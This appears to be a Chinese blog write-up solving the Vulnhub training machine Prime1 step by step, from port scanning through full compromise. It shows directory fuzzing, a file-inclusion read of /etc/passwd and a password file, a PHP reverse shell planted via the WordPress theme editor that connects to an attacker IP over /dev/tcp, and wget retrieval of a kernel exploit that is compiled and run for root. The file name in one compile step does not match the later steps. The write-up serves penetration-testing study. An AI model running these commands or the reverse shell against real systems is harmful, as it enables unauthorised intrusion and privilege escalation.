Vulnhub靶机实操笔记-Prime1-解法一

2023-07-02 11:13:25 浏览数 (3)

摘要

Vulnhub靶机实操笔记-Prime1-解法一

涉及知识内容:目录扫描、文件包含,WordPress利用、内核提权

一、Namp扫描

1、主机存活判断

代码语言:javascript复制
sudo nmap -sn 192.168.32.0/24

2、快速扫描

以不低于1w的速度快速扫描端口

代码语言:javascript复制
 sudo nmap --min-rate 10000 -p- 192.168.32.140 -oA report/min-rate
 
 --min-rate #以不低于xxx的速度扫描
 -p- #全端口
 -oA #将扫描结果输出保存到某个文件夹下某个文件 例子是放在report目录下叫min-rate文件

使用TCP和UDP的形式对扫出的端口进行协议的查看

3、TCP扫描

代码语言:javascript复制
 sudo nmap -sT -sV -O -p22,80 10.10.10.22 -oA report/heavy
 
 -sT #以TCP协议进行扫描
 -sV #服务的版本号
 -O #服务器系统
 -p #指定端口
 -oA #将扫描结果输出保存到某个文件夹下某个文件 例子是放在report目录下叫heavy文件

4、UDP扫描

代码语言:javascript复制
 sudo nmap -sU -p22,80 192.168.32.140 -oA report/heavy-U
 
 -sU #以UDP协议扫描
 -p #指定端口
 -oA #将扫描结果输出保存到某个文件夹下某个文件 例子是放在report目录下叫heavy-U文件

5、Namp的POC扫描

发现一个DOS漏洞CVE-2007-6750

代码语言:javascript复制
sudo nmap --script=vuln -p22,80 192.168.32.140

二、目录扫描

1、WordPress

目录扫描发现存在WordPress

代码语言:javascript复制
dirb http://192.168.32.140

在访问dev路径时,看到提示内容说现在我们处在levl 0的等级里面,让我们再努力一点

2、找正确参数

此时重新使用dirb对一些重点后缀名文件进行一个指定扫描操作,扫描得到一个secret.txt文件,去访问看看内容

代码语言:javascript复制
dirb http://192.168.32.140 -X .zip,.txt -o report/dirbveryharb.txt

看来你有一些秘密。 好的,我只是想帮你。 在你发现的php的每一页上做更多的模糊处理。如果 如果得到任何正确的参数,请按照以下步骤操作。如果你仍然坚持 从这里学习一个很好地使用OSCP的基本工具。 https://github.com/hacknpentest/Fuzzing/blob/master/Fuzz_For_Web

因为提示找PHP页面,所有我就特意指定扫PHP类型文件,扫描出两个PHP文件

代码语言:javascript复制
dirb http://192.168.32.140 -X .php

根据前面提示对获得的两个php文件参数的模糊测试,最终在index.php获得一个正确的参数是file

代码语言:javascript复制
sudo wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hh 136 http://192.168.32.140/index.php?FUZZ=ss
 
 -c #wfuzz用来结果分色
 -w #指定使用的字典
 -hh #只显示 HTTP 响应代码为 136 的请求响应
 FUZZ #可以跟一个参数(ss)或不加

带着获得的正确参数尝试去访问一下,提示干的好,但你请求了错误文件

http://192.168.32.140/index.php?file

查看之前secet.txt的提示说查看本地的location.txt文件

//查看location.txt,您将获得下一步行动//

这次就file参数尝试去请求secet.txt,看看结果如何

http://192.168.32.140/index.php?file=location.txt

根据图片的提示让我们用secrettier360参数在别的php页面上(image.php),提示现在你终于得到了正确的参数

http://192.168.32.140/image.php?secrettier360

3、文件包含

提示是正确的参数也没说干什么,此时应该需要去尝试一下文件包含

代码语言:javascript复制
http://192.168.32.140/image.php?secrettier360=../../../../etc/passwd

4、获得密码

从etc/passwd的内容看到有个password.txt在/home/saket目录下,再继续用文件包含去读这个password.txt文件内容获得密码follow_the_ippsec通过ssh尝试过无法直接使用这个密码,进而将目光转到前面扫目录的WordPress后台页面

代码语言:javascript复制
 sudo curl http://192.168.32.140/image.php?secrettier360=../../../../etc/passwd
 sudo curl http://192.168.32.140/image.php?secrettier360=../../../../home/saket/password.txt

三、WordPress攻击

1、Wpscan使用

前面目录扫描可以发现有使用WordPress,现在又获得一个密码,这边尝试wpscan去获得一个用户再配合刚刚获得的一个密码

代码语言:javascript复制
 sudo wpscan --url http://192.168.32.140/wordpress -e u
 -e #选择需要获得的内容 u是获得用户名

利用wpscan获得的用户名victor和前面获得的密码follow_the_ippsec成功登陆了WordPress后台,

2、WordPress后台利用

1、WordPress插件

先看WordPress的插件,新增插件

上传payload即可,看到是上传一个.zip的文件

随便尝试上传一个.zip的压缩包提示错误,当前父目录是有写权限的嘛

2、WordPress主题

主题编辑器,一般来说从主题编辑器容易有有写权限的一些目录,通过遍历来看看哪些目录有写权限。

从右侧的页面一个个找php页面且带有提交按钮的,这个目录就是有写权限的。此时因为是WordPress,所以

我们就尝试些一个php的反弹shell让它去执行。

写一个php的反弹shell,提交shell后就是找到php页面去触发它

代码语言:javascript复制
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.32.131/1234 0>&1'"); ?>

访问url触发shell,http://192.168.32.140/wordpress/wp-content/themes/twentynineteen/secret.php

http://your-site.com/wp-content/themes/your-theme-name/secret.php 其中 your-site.com 是你的 WordPress 网站域名, your-theme-name 是你所使用的主题名称, secret.php 是你创建的 PHP 文件名。请确保正确替换这些参数,才能成功访问该文件。

获得shell

四、内网提权

1、查看系统详情

代码语言:javascript复制
uname -a

2、查看用户权限

可以看到有用户saket不需要密码就能以root权限执行,当执行enc时候可以root权限执行却不要输入密码

代码语言:javascript复制
sudo -l

去对应的目录查看一下enc内容,发现权限不足无法读文件

代码语言:javascript复制
ls -liah #查看当前文件的权限与属性

3、查看当前系统用户

代码语言:javascript复制
 cd /home
 ls #/home目录在Linux称为主目录,在该目录下面存储的是每个用户的目录。
 也会是每个用户的数据是存储在该目录下面的一个子目录中。

4、查看定时任务

发现有个定时任务t.sh,但是它没有任何用户权限所以pass

代码语言:javascript复制
cat /etc/crontab

5、查看系统用户信息

代码语言:javascript复制
cat /etc/passwd

6、系统内核提权

1、查找攻击脚本

前面发现当前ubuntu版本相对较低,尝试内核提权,使用系统版本去查是否有版本漏洞。发现只有2和3是权限提升相关的

代码语言:javascript复制
 searchsploit Linux ubuntu 4.10.0-28
 
 Linux内核4.10.5/<4.14.3(Ubuntu)-DCCP套接字免费使用|Linux/dos/43234.c
 Linux内核<4.13.9(Ubuntu 16.04/Fedora 27)-本地权限升级|Linux/Local/45010.c
 Ubuntu<15.10-PT Chown任意PT通过用户命名空间权限升级访问|linux/local/41760.txt

2、下载攻击脚本

代码语言:javascript复制
searchsploit Linux ubuntu -m 45010

3、查看具体使用方法

先编译,后直接利用执行

代码语言:javascript复制
 gcc cve-2017-16995.c -o cve-2017-16995
 ./cve-2017-16995

4、本地搭建服务器

攻击机本地搭建一个80端口服务器供下载文件

代码语言:javascript复制
sudo php -S 0:80

受害靶机使用wget下载攻击机的利用文件

代码语言:javascript复制
wget http://192.168.32.131/45010.c

5、EXP提权

将exp传入到受害机,受害机内编译好后,直接执行获得root权限

代码语言:javascript复制
 cd /tmp
 wget http://192.168.32.131/45010.c
 gcc 45010.c -o 45010
 chmod  x 45010
 ls -lain
 ./45010

6、python转稳定shell

命令会列出系统中所有已安装的软件信息,显示当前环境安装了python工具,利用python转稳定交互shell

代码语言:javascript复制
 dpkg -l #查已安装的软件
 python -c "import pty;pty.spawn('/bin/bash')"

五、靶场下载链接

https://download.vulnhub.com/prime/Prime_Series_Level-1.rar

0 人点赞